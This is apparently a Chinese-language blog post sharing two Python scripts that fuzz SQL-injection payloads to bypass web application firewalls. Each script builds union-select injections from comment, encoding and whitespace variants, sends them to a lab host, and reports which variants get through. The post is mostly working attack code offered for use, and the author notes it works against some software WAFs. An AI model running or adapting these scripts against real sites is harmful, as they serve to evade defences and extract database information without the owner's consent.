WAF Bypass FUZZ小脚本

分享两个小脚本，用来WAF Bypass简单FUZZ的

第一个：先生成一个字典，带入搭建的环境进行FUZZ，针对某些软WAF挺好用的，可FUZZ出不少姿势出来，记得先把CC攻击加入白名单才行哦。。。

#! /usr/bin/env python

# _*_  coding:utf-8 _*_

import urllib

import urllib2

import requests

values={}

f = open('mutou.txt','r')

for line in f.xreadlines():

	line =line.strip()

	values['id'] = "1 union/*%s*/select/*%s*/1,user()" %(line,line)

	data = urllib.urlencode(values)

	url = "http://192.168.125.140/php/config/sql.php"

	url = url+'?'+data

	try:

		response = requests.get(url)

		result = response.content

		#print result

		if result.count('root'):

			print line

			print url

			print "==================================="

		else:

			pass

			#print ".",

	except:

		print "Error"

第二个：

#! /usr/bin/env python

# _*_  coding:utf- _*_

import requests

fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']

fuzz_dic2 = ['*/','',' ','/*!']

fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]

headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}

url="http://192.168.125.140/php/config/sql.php?id=1"

for i in fuzz_dic1:

    for j in fuzz_dic2:

        for k in fuzz_dic3:

            payload="/*!union"+i+j+k+"select*/ 1,user()"

            geturl=url+payload

            #print geturl

            try:

                response=requests.get(url=geturl,headers=headers)

                result = response.content

                #print result

                if result.count('root'):

                    print geturl

                else:

                    print ".",

            except:

                print "Error"

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